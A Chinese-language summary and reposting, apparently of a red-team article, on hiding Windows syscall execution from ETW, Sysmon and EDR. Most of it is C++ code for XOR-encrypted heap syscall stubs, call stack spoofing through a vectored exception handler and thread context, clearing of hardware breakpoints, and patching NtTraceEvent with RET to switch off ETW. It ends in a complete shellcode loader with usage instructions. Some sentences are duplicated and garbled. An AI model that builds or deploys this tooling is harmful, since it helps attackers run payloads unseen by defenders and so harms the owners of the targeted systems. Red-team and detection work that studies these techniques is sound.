隐身系统调用执行：绕过 ETW、Sysmon 和 EDR 检测

这篇文章《Stealth Syscall Execution: Bypassing ETW, Sysmon, and EDR Detection》主要讲解了如何通过隐形系统调用（Stealth Syscall Execution）技术绕过Windows系统中的安全监控工具，如ETW（Event Tracing for Windows）、Sysmon 和 EDR（Endpoint Detection and Response），以实现隐秘的恶意代码执行。文章面向红队（Red Team）操作，介绍了一些高级的规避检测技术，特别适用于网络安全测试和渗透测试场景。以下是文章的核心内容总结：

1. 背景：系统调用（Syscalls）与安全监控

• 系统调用是用户态进程与Windows内核交互的桥梁，用于执行内存管理、文件操作、进程创建等任务。

• 安全工具（如ETW、Sysmon、EDR）通过以下方式监控系统调用以检测恶意行为：

• 堆栈追踪：分析调用堆栈以识别可疑的执行模式。

• ETW事件：记录直接系统调用的事件。

• API钩子（Hooking）：拦截系统调用以阻止或检测未经授权的行为。

• 常规的系统调用执行会留下痕迹，容易被EDR通过调用堆栈分析或ETW事件捕获。

2. 隐形系统调用的核心技术

文章详细介绍了绕过这些监控的几种高级技术：

• 直接系统调用（Direct Syscalls）：

• 绕过用户态的API钩子，直接调用内核函数（如NtAllocateVirtualMemory），避免触发EDR的监控。

• 使用工具如 SysWhispers2 生成系统调用号（SSN），以适应不同Windows版本的动态变化。

• 调用堆栈伪造（Call Stack Spoofing）：

• 通过伪造调用堆栈，模拟合法操作的执行路径，欺骗EDR的堆栈分析。例如，APT41等黑客组织已被观察到使用这种技术。

• 加密系统调用（Encrypted Syscalls）：

• 对系统调用指令或相关数据进行加密，降低静态分析检测的可能性。

• 硬件断点清除（Hardware Breakpoint Clearing）：

• 利用硬件断点（如通过VEH，Vectored Exception Handler）在系统调用执行前拦截并修改参数，绕过EDR检查。

• 禁用ETW：

• 通过修补EtwEventWrite函数，阻止ETW记录系统调用相关的事件日志。

• 间接系统调用（Indirect Syscalls）：

• 将系统调用指令的执行路径重定向到ntdll.dll的合法地址空间，生成看似常规的调用堆栈，降低被检测的可能性。

3. 实现隐形Shellcode执行器

文章描述了一个结合上述技术的隐形Shellcode执行器，包括：

• 加密Shellcode：防止静态分析检测。

• 真实堆栈伪造：确保调用堆栈看起来像合法应用程序的行为。

• 禁用ETW：阻止事件追踪。

• 硬件断点技术：在系统调用执行前后动态修改参数或上下文。

这些技术共同构成了一个强大的工具，能够在红队操作中绕过现代EDR的检测，保持隐秘性。

4. 实际案例与检测规避

• 文章提到APT41组织通过调用堆栈伪造技术成功绕过EDR检测，展示了这些方法的实际应用。

• 强调了理解安全工具（如Sysmon、ETW、EDR）的工作原理对于开发有效规避策略至关重要。例如，EDR通常依赖AI模型检测系统调用中的异常行为，若调用堆栈缺失关键函数或来自未知内存区域，就会触发警报。

介绍

系统调用 (syscall) 充当用户模式进程与 Windows 内核之间的桥梁，有助于执行内存管理、文件操作和进程创建等任务。Windows 事件跟踪 (ETW)、Sysmon 等安全工具以及 x64dbg 和 WinDbg 等调试器会主动监控这些交互，以检测恶意或异常的系统调用执行。

问题：安全工具如何检测系统调用

当系统调用正常执行时，EDR 等安全产品可以：

• 跟踪调用堆栈 以查看哪个函数调用了它。

• 监视记录直接系统调用的ETW 事件。

• 挂接到系统调用 来阻止或检测未经授权的行为。

适用于 Windows 的 ETW 流

解决方案：隐形系统调用执行技术

为了逃避检测，攻击者使用隐形系统调用执行技术 ：

• 欺骗调用堆栈以使系统调用看起来合法。

据观察，网络间谍组织APT41 正在利用调用堆栈欺骗，网络间谍组织APT41 使用调用堆栈欺骗技术来掩盖其恶意活动。在详细分析中，与 APT41 相关的恶意软件样本展示了如何构建虚假调用堆栈来模仿合法操作，从而逃避依赖调用堆栈分析进行检测的端点检测和响应 (EDR) 系统。

• 挂钩 ETW 和 Sysmon API以防止系统调用日志记录。

一些恶意软件变种通过修补 EtwEventWrite 等函数来禁用 ETW ，从而有效地阻止了可能导致其被检测到的事件的记录。这项技术已在各种安全分析中得到记录。

已知攻击者会钩住 Windows 事件跟踪 (ETW) 和 Sysmon API，通过阻止系统调用日志记录来逃避检测。例如，一些恶意软件变种会通过修补 EtwEventWrite 等函数来禁用 ETW，从而阻止监控和日志记录机制。这种策略属于 MITRE ATT&CK 技术T1562.001：削弱防御：禁用或修改工具，攻击者会禁用安全工具来逃避检测。

• 执行系统调用执行系统调用在隔离的内核线程中逃避用户模式挂钩。

• 对调试器隐藏执行通过绕过系统调用表来隐藏调试器的执行。通过绕过系统调用表。

该分析研究了Lumma Stealer 等恶意软件如何利用直接系统调用执行恶意活动，同时逃避传统安全措施的检测。

在这次全面的深入研究中，我们将分解正常与隐秘的系统调用执行，分析检测机制，并实施先进的规避技术。

理解调用堆栈跟踪及其重要性

调用堆栈提供了导致特定系统调用 (syscall) 的函数调用的详细记录。在网络安全领域，分析调用堆栈对于有效的威胁检测和取证分析至关重要。安全工具利用调用堆栈跟踪来识别：

• 识别调用函数：准确确定哪个函数触发了系统调用，例如来自ntdll.dll的合法 Windows API 函数，或者像 shellcode 这样的潜在恶意代码。

• 检测可疑来源：评估系统调用是否源自不寻常或可疑的来源，例如注入的 DLL 或未知的内存区域，这可能表明存在恶意活动。

• 验证正常行为：将观察到的调用堆栈与典型 Windows 操作的预期模式进行比较表明存在泄露或利用企图的表明存在妥协或利用企图的查明表明存在妥协或利用企图的异常情况。

安全工具如何使用调用堆栈进行跟踪

要理解隐形系统调用执行的工作原理，重要的是要了解各种安全工具如何分析系统调用行为以创建检测。让我们分解一下它们如何使用调用堆栈跟踪进行检测。典型的关注点包括：

• Sysmon 和 ETW 监控系统调用的堆栈跟踪 以识别可疑的执行模式。

• 像 x64dbg 这样的调试器显示调用堆栈 像 x64dbg 这样的调试器在单步执行系统调用时会显示调用堆栈。 当逐步执行系统调用时。

• EDR（端点检测和响应）解决方案使用基于 AI 的模型 来检测系统调用执行中的异常。

正常堆栈跟踪与可疑堆栈跟踪：主要区别

如果堆栈中缺少某个函数或者该函数来自未知的内存区域，则会引起警示！

正常的系统调用工作流程（易于检测）

代码：标准系统调用执行

#include<windows.h>#include<iostream>typedefNTSTATUS(NTAPI* pNtProtectVirtualMemory)(    HANDLE ProcessHandle,    PVOID* BaseAddress,    PULONG NumberOfBytesToProtect,    ULONG NewAccessProtection,    PULONG OldAccessProtection    );intmain(){// Get handle to ntdll.dll    HMODULE hNtdll = LoadLibraryA("ntdll.dll");if (!hNtdll) {std::cerr << "Failed to load ntdll.dlln";return-1;    }// Resolve NtProtectVirtualMemory dynamically    pNtProtectVirtualMemory NtProtectVirtualMemory = (pNtProtectVirtualMemory)        GetProcAddress(hNtdll, "NtProtectVirtualMemory");if (!NtProtectVirtualMemory) {std::cerr << "Failed to resolve NtProtectVirtualMemoryn";return-1;    }    PVOID memAddr = NULL;    SIZE_T memSize = 0x1000; // 4KB    DWORD oldProtect;    HANDLE hProcess = GetCurrentProcess();// Allocate memory region    memAddr = VirtualAlloc(NULL, memSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);if (!memAddr) {std::cerr << "Memory allocation failedn";return-1;    }std::cout << "Memory allocated at: " << memAddr << std::endl;// Write some dummy shellcodeunsignedchar shellcode[] = "x90x90x90x90"; // NOP sledmemcpy(memAddr, shellcode, sizeof(shellcode));// Modify memory protection using direct system call    ULONG bytesToProtect = (ULONG)memSize;    NTSTATUS status = NtProtectVirtualMemory(        hProcess, &memAddr, &bytesToProtect, PAGE_EXECUTE_READWRITE, &oldProtect);if (status == 0) {std::cout << "Memory protection removed (PAGE_EXECUTE_READWRITE)n";    }else {std::cerr << "Failed to change memory protection, NTSTATUS: " << status << "n";    }// Keep program alive for debuggingstd::cin.get();return0;}

标准系统调用执行

#include <windows.h>#include <iostream>#pragma comment(lib, "ntdll.lib")typedef NTSTATUS(NTAPI* pNtProtectVirtualMemory)(    HANDLE, PVOID*, SIZE_T*, ULONG, PULONG);// XOR encryption/decryption functionvoid XORCipher(BYTE* data, SIZE_T size, BYTE key) {for (SIZE_T i = 0; i < size; ++i) data[i] ^= key;}// Dynamically resolve syscall numberULONG GetSyscallNumber(constchar* funcName) {    BYTE* addr = (BYTE*)GetProcAddress(GetModuleHandleA("ntdll.dll"), funcName);if (!addr) return0;for (int i = 0; i < 20; i++)if (addr[i] == 0xB8 && addr[i + 5] == 0x0F && addr[i + 6] == 0x05)return *(ULONG*)(addr + i + 1);return0;}// VEH Handler for stack spoofingLONG WINAPI VehHandler(PEXCEPTION_POINTERS ex) {    ex->ContextRecord->Rip = (DWORD64)ex->ExceptionRecord->ExceptionInformation[0];return EXCEPTION_CONTINUE_EXECUTION;}// Heap-based encrypted syscall executionvoid HeapEncryptedSyscall() {    std::cout << "[+] Executing encrypted syscall from heap memory...n";    ULONG syscallNumber = GetSyscallNumber("NtProtectVirtualMemory");if (!syscallNumber) return;    BYTE stub[] = {0x4C, 0x8B, 0xD1, // mov r10, rcx0xB8, 0,0,0,0, // mov eax, syscallNum0x0F, 0x05, // syscall0xC3// ret    };    *(ULONG*)(stub + 4) = syscallNumber;    BYTE encryptionKey = 0x5A;    XORCipher(stub, sizeof(stub), encryptionKey); // Encryptvoid* execMem = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(stub));    memcpy(execMem, stub, sizeof(stub));    XORCipher((BYTE*)execMem, sizeof(stub), encryptionKey); // Decrypt before execution    PVOID baseAddr = NULL;    SIZE_T regionSize = 4096;    ULONG oldProt;    std::cout << "[+] Executing syscall from heap-allocated memoryn";    ((NTSTATUS(NTAPI*)(HANDLE, PVOID*, SIZE_T*, ULONG, PULONG))execMem)(        GetCurrentProcess(), &baseAddr, &regionSize, PAGE_EXECUTE_READWRITE, &oldProt    );    HeapFree(GetProcessHeap(), 0, execMem);}// Hardware breakpoint spoofingvoid HardwareBreakpointSpoofing() {    CONTEXT ctx = {};    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;    HANDLE hThread = GetCurrentThread();    GetThreadContext(hThread, &ctx);    ctx.Dr0 = ctx.Dr1 = ctx.Dr2 = ctx.Dr3 = ctx.Dr7 = 0;    SetThreadContext(hThread, &ctx);    std::cout << "[+] Cleared hardware breakpointsn";}// Disable ETW logging (no VirtualProtect visible)void DisableETWSysmonLogging() {    std::cout << "[+] Disabling ETW logging stealthilyn";    ULONG syscall = GetSyscallNumber("NtProtectVirtualMemory");    BYTE syscallStub[] = {0x4C, 0x8B, 0xD1,0xB8, 0,0,0,0,0x0F, 0x05, 0xC3    };    *(ULONG*)(syscallStub + 4) = syscall;    BYTE key = 0x7A;    XORCipher(syscallStub, sizeof(syscallStub), key);void* execMem = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(syscallStub));    memcpy(execMem, syscallStub, sizeof(syscallStub));    XORCipher((BYTE*)execMem, sizeof(syscallStub), key); // Decrypt before execvoid* ntTraceEvent = (void*)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTraceEvent");    SIZE_T sz = 1;    ULONG oldProt;    ((NTSTATUS(NTAPI*)(HANDLE, PVOID*, SIZE_T*, ULONG, PULONG))execMem)(        GetCurrentProcess(), &ntTraceEvent, &sz, PAGE_EXECUTE_READWRITE, &oldProt    );    *(BYTE*)ntTraceEvent = 0xC3; // Patch with RET    HeapFree(GetProcessHeap(), 0, execMem);}// True Stack Spoofing via VEH (Real stack unwinding mitigation)void TrueStackSpoofer(void(*func)()) {    std::cout << "[+] Executing true stack spoofingn";    AddVectoredExceptionHandler(1, VehHandler);    CONTEXT ctx = {};    RtlCaptureContext(&ctx);    ctx.Rip = (DWORD64)func;    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Sleep, NULL, CREATE_SUSPENDED, NULL);    SetThreadContext(hThread, &ctx);    ResumeThread(hThread);    WaitForSingleObject(hThread, INFINITE);    CloseHandle(hThread);}// Execute operations in chunks to evade heuristicsvoid ExecuteInChunks() {    std::cout << "[+] Executing in small chunks to bypass heuristicsn";volatilechar data[100];for (int i = 0; i < 10; i++) {        memset((void*)data, i, sizeof(data));        Sleep(20);    }}// Final orchestration functionvoid ExecuteHiddenSyscall() {    std::cout << "[+] Executing hidden syscall sequence...n";    HardwareBreakpointSpoofing();    HeapEncryptedSyscall();}int main() {    std::cout << "[+] Advanced stealth execution started...n";    DisableETWSysmonLogging();    ExecuteInChunks();    std::cout << "[+] Setting VEH handler for true stack spoofingn";    AddVectoredExceptionHandler(1, VehHandler);    TrueStackSpoofer(ExecuteHiddenSyscall);    std::cout << "[+] All stealth operations executed successfully.n";return0;}

// Heap-based encrypted syscall executionvoidHeapEncryptedSyscall(){    ULONG syscallNumber = GetSyscallNumber("NtProtectVirtualMemory");    BYTE stub[] = {0x4C, 0x8B, 0xD1, // mov r10, rcx (standard syscall setup)0xB8, 0,0,0,0, // mov eax, syscallNumber0x0F, 0x05, // syscall0xC3// ret    };    *(ULONG*)(stub + 4) = syscallNumber;    BYTE encryptionKey = 0x5A;    XORCipher(stub, sizeof(stub), encryptionKey); // Encrypt stubvoid* execMem = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(stub));memcpy(execMem, stub, sizeof(stub));    XORCipher((BYTE*)execMem, sizeof(stub), encryptionKey); // Decrypt at runtime// Execute syscall from heap    ((NTSTATUS(NTAPI*)(HANDLE, PVOID*, SIZE_T*, ULONG, PULONG))execMem)(        GetCurrentProcess(), &baseAddr, &regionSize, PAGE_EXECUTE_READWRITE, &oldProt    );    HeapFree(GetProcessHeap(), 0, execMem);}

// Hardware breakpoint spoofingvoidHardwareBreakpointSpoofing(){    CONTEXT ctx = {};    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;    HANDLE hThread = GetCurrentThread();    GetThreadContext(hThread, &ctx);    ctx.Dr0 = ctx.Dr1 = ctx.Dr2 = ctx.Dr3 = ctx.Dr7 = 0;    SetThreadContext(hThread, &ctx);}

// XOR ecryption/decryption functionvoidXORCipher(BYTE* data, SIZE_T size, BYTE key){for (SIZE_T i = 0; i < size; ++i) data[i] ^= key;}

// VEH Handler for stack spoofingLONG WINAPI VehHandler(PEXCEPTION_POINTERS ex) {    ex->ContextRecord->Rip = (DWORD64)ex->ExceptionRecord->ExceptionInformation[0];return EXCEPTION_CONTINUE_EXECUTION;}void TrueStackSpoofer(void(*func)()) {    AddVectoredExceptionHandler(1, VehHandler);    CONTEXT ctx = {};    RtlCaptureContext(&ctx);    ctx.Rip = (DWORD64)func;HANDLEhThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Sleep, NULL, CREATE_SUSPENDED, NULL);SetThreadContext(hThread, &ctx);ResumeThread(hThread);WaitForSingleObject(hThread, INFINITE);CloseHandle(hThread);}

// Disable ETW logging (no VirtualProtect visible)voidDisableETWSysmonLogging(){    ULONG syscall = GetSyscallNumber("NtProtectVirtualMemory");    BYTE syscallStub[] = {0x4C, 0x8B, 0xD1,0xB8, 0,0,0,0,0x0F, 0x05, 0xC3    };    *(ULONG*)(syscallStub + 4) = syscall;    BYTE key = 0x7A;    XORCipher(syscallStub, sizeof(syscallStub), key);void* execMem = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(syscallStub));memcpy(execMem, syscallStub, sizeof(syscallStub));    XORCipher((BYTE*)execMem, sizeof(syscallStub), key);void* ntTraceEvent = (void*)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTraceEvent");    SIZE_T sz = 1;    ULONG oldProt;    ((NTSTATUS(NTAPI*)(HANDLE, PVOID*, SIZE_T*, ULONG, PULONG))execMem)(        GetCurrentProcess(), &ntTraceEvent, &sz, PAGE_EXECUTE_READWRITE, &oldProt    );    *(BYTE*)ntTraceEvent = 0xC3; // Patch ETW to RET immediately    HeapFree(GetProcessHeap(), 0, execMem);}

// XORCipher encryption function examplevoidXORCipher(BYTE* data, SIZE_T size, BYTE key){for (SIZE_T i = 0; i < size; ++i)        data[i] ^= key;}

NTSTATUS HeapSyscall(constchar* syscallName, HANDLE hProc, void** addr, SIZE_T* size, ULONG prot, ULONG* oldProt);

voidDisableETW(){void* ntTraceEvent = (void*)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTraceEvent");    SIZE_T sz = 1;    ULONG oldProt;    HeapSyscall("NtProtectVirtualMemory", GetCurrentProcess(), &ntTraceEvent, &sz, PAGE_EXECUTE_READWRITE, &oldProt);    *(BYTE*)ntTraceEvent = 0xC3; // Patch with RET instruction to disable ETW}

voidHardwareBreakpointSpoofing(){     CONTEXT ctx{};     ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;     HANDLE hThread = GetCurrentThread();     GetThreadContext(hThread, &ctx);     ctx.Dr0 = ctx.Dr1 = ctx.Dr2 = ctx.Dr3 = ctx.Dr7 = 0; // 清除断点    SetThreadContext(hThread, &ctx); }

void TrueStackSpoofer(void(*targetFunc)(BYTE*, SIZE_T), BYTE* payload, SIZE_T size) {    AddVectoredExceptionHandler(1, VehHandler);    CONTEXT ctx{};    RtlCaptureContext(&ctx);void* fakeReturn = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);if (!fakeReturn) {        std::cerr << "[-] VirtualAlloc failed for fake return address!n";return;    }    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)targetFunc, payload, CREATE_SUSPENDED, NULL);if (!hThread) {        std::cerr << "[-] Thread creation failed!n";        VirtualFree(fakeReturn, 0, MEM_RELEASE);return;    }    ctx.Rip = (DWORD64)targetFunc;    ctx.Rcx = (DWORD64)payload;    ctx.Rdx = (DWORD64)size;    ctx.Rsp -= sizeof(void*);    *(DWORD64*)(ctx.Rsp) = (DWORD64)fakeReturn;    SetThreadContext(hThread, &ctx);    ResumeThread(hThread);    WaitForSingleObject(hThread, INFINITE);    CloseHandle(hThread);    VirtualFree(fakeReturn, 0, MEM_RELEASE);}

#include <windows.h>#include <iostream>#include <fstream>#pragma comment(lib, "ntdll.lib")#ifndef NT_SUCCESS#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)#endif#ifndef STATUS_UNSUCCESSFUL#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)#endiftypedef NTSTATUS(NTAPI* pNtProtectVirtualMemory)(    HANDLE, PVOID*, SIZE_T*, ULONG, PULONG);// XOR Cipher Encryption/Decryptionvoid XORCipher(BYTE* data, SIZE_T size, BYTE key) {for (SIZE_T i = 0; i < size; ++i)        data[i] ^= key;}// Retrieve syscall number from NTDLL functionsULONG GetSyscallNumber(constchar* funcName) {    BYTE* addr = (BYTE*)GetProcAddress(GetModuleHandleA("ntdll.dll"), funcName);if (!addr) return0;for (int i = 0; i < 32; i++)if (addr[i] == 0xB8 && addr[i + 5] == 0x0F && addr[i + 6] == 0x05)return *(ULONG*)(addr + i + 1);return0;}// VEH Handler for Stack SpoofingLONG WINAPI VehHandler(PEXCEPTION_POINTERS ex) {    ex->ContextRecord->Rip = (DWORD64)ex->ExceptionRecord->ExceptionInformation[0];return EXCEPTION_CONTINUE_EXECUTION;}// Heap-based encrypted syscall executionNTSTATUS HeapSyscall(constchar* syscallName, HANDLE hProc, void** addr, SIZE_T* size, ULONG prot, ULONG* oldProt) {    ULONG syscallNumber = GetSyscallNumber(syscallName);if (!syscallNumber) return STATUS_UNSUCCESSFUL;    BYTE stub[] = {0x4C, 0x8B, 0xD1, // mov r10, rcx0xB8, 0,0,0,0, // mov eax, syscallNumber0x0F, 0x05, // syscall0xC3// ret    };    *(ULONG*)(stub + 4) = syscallNumber;    BYTE key = 0x5A;    XORCipher(stub, sizeof(stub), key); // Encryptvoid* execMem = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(stub));    memcpy(execMem, stub, sizeof(stub));    XORCipher((BYTE*)execMem, sizeof(stub), key); // Decrypt for execution    auto func = (pNtProtectVirtualMemory)execMem;    NTSTATUS status = func(hProc, addr, size, prot, oldProt);    HeapFree(GetProcessHeap(), 0, execMem);return status;}// Disable ETW Logging stealthilyvoid DisableETW() {void* ntTraceEvent = (void*)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTraceEvent");    SIZE_T sz = 1;    ULONG oldProt;    HeapSyscall("NtProtectVirtualMemory", GetCurrentProcess(), &ntTraceEvent, &sz, PAGE_EXECUTE_READWRITE, &oldProt);    *(BYTE*)ntTraceEvent = 0xC3;}// Hardware breakpoint clearingvoid HardwareBreakpointSpoofing() {    CONTEXT ctx{};    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;    HANDLE hThread = GetCurrentThread();    GetThreadContext(hThread, &ctx);    ctx.Dr0 = ctx.Dr1 = ctx.Dr2 = ctx.Dr3 = ctx.Dr7 = 0;    SetThreadContext(hThread, &ctx);}// Load Shellcode from fileBYTE* LoadShellcode(constchar* path, SIZE_T& size) {    std::ifstream file(path, std::ios::binary | std::ios::ate);if (!file) return nullptr;    size = file.tellg();    BYTE* buf = new BYTE[size];    file.seekg(0, std::ios::beg);if (!file.read((char*)buf, size)) {        delete[] buf;return nullptr;    }return buf;}// Shellcode Execution Functionvoid ExecuteShellcode(BYTE* shellcode, SIZE_T size) {void* execMem = nullptr;    SIZE_T sz = size;    ULONG oldProt;    HeapSyscall("NtAllocateVirtualMemory", GetCurrentProcess(), &execMem, &sz, MEM_COMMIT | MEM_RESERVE, &oldProt);    memcpy(execMem, shellcode, size);    HeapSyscall("NtProtectVirtualMemory", GetCurrentProcess(), &execMem, &sz, PAGE_EXECUTE_READ, &oldProt);    HANDLE hThread = CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)execMem, nullptr, 0, nullptr);    WaitForSingleObject(hThread, INFINITE);}// Stack Spoofing Orchestration Functionvoid TrueStackSpoofer(void(*targetFunc)(BYTE*, SIZE_T), BYTE* payload, SIZE_T size) {    AddVectoredExceptionHandler(1, VehHandler);// Capture the current thread context    CONTEXT ctx{};    RtlCaptureContext(&ctx);// Allocate a fake return address to prevent crashesvoid* fakeReturn = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);if (!fakeReturn) {        std::cerr << "[-] VirtualAlloc for Fake Return Address failed!n";return;    }// Ensure the function runs properly in a new thread    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)targetFunc, payload, CREATE_SUSPENDED, NULL);if (!hThread) {        std::cerr << "[-] Failed to create thread!n";        VirtualFree(fakeReturn, 0, MEM_RELEASE);return;    }// Modify the stack to ensure proper return    ctx.Rip = (DWORD64)targetFunc;    ctx.Rcx = (DWORD64)payload; // First argument (shellcode)    ctx.Rdx = (DWORD64)size; // Second argument (shellcode size)    ctx.Rsp -= sizeof(void*);    *(DWORD64*)(ctx.Rsp) = (DWORD64)fakeReturn; // Fake return address// Apply the modified contextif (!SetThreadContext(hThread, &ctx)) {        std::cerr << "[-] Failed to set thread context!n";        VirtualFree(fakeReturn, 0, MEM_RELEASE);        CloseHandle(hThread);return;    }// Resume the thread for execution    ResumeThread(hThread);// Wait for the shellcode execution to complete    WaitForSingleObject(hThread, INFINITE);// Cleanup    CloseHandle(hThread);    VirtualFree(fakeReturn, 0, MEM_RELEASE);}// Wrapper function required for stack spoofingvoid WrappedExecuteShellcode(BYTE* shellcode, SIZE_T size) {    ExecuteShellcode(shellcode, size);}int main(int argc, char** argv) {if (argc != 2) {        std::cerr << "[-] Usage: shellcode_executor.exe <shellcode.bin>n";return-1;    }    SIZE_T shellcodeSize;    BYTE* shellcode = LoadShellcode(argv[1], shellcodeSize);if (!shellcode) {        std::cerr << "[-] Failed to load shellcode.n";return-1;    }    std::cout << "[+] Disabling ETW Logging...n";// DisableETW();    std::cout << "[+] Clearing hardware breakpointsn";    HardwareBreakpointSpoofing();    std::cout << "[+] Executing Shellcode with True Stack Spoofing...n";    TrueStackSpoofer(WrappedExecuteShellcode, shellcode, shellcodeSize);    std::cout << "[+] Execution completed.n";    delete[] shellcode;return0;}

.shellcode_executor.exeshellcode.bin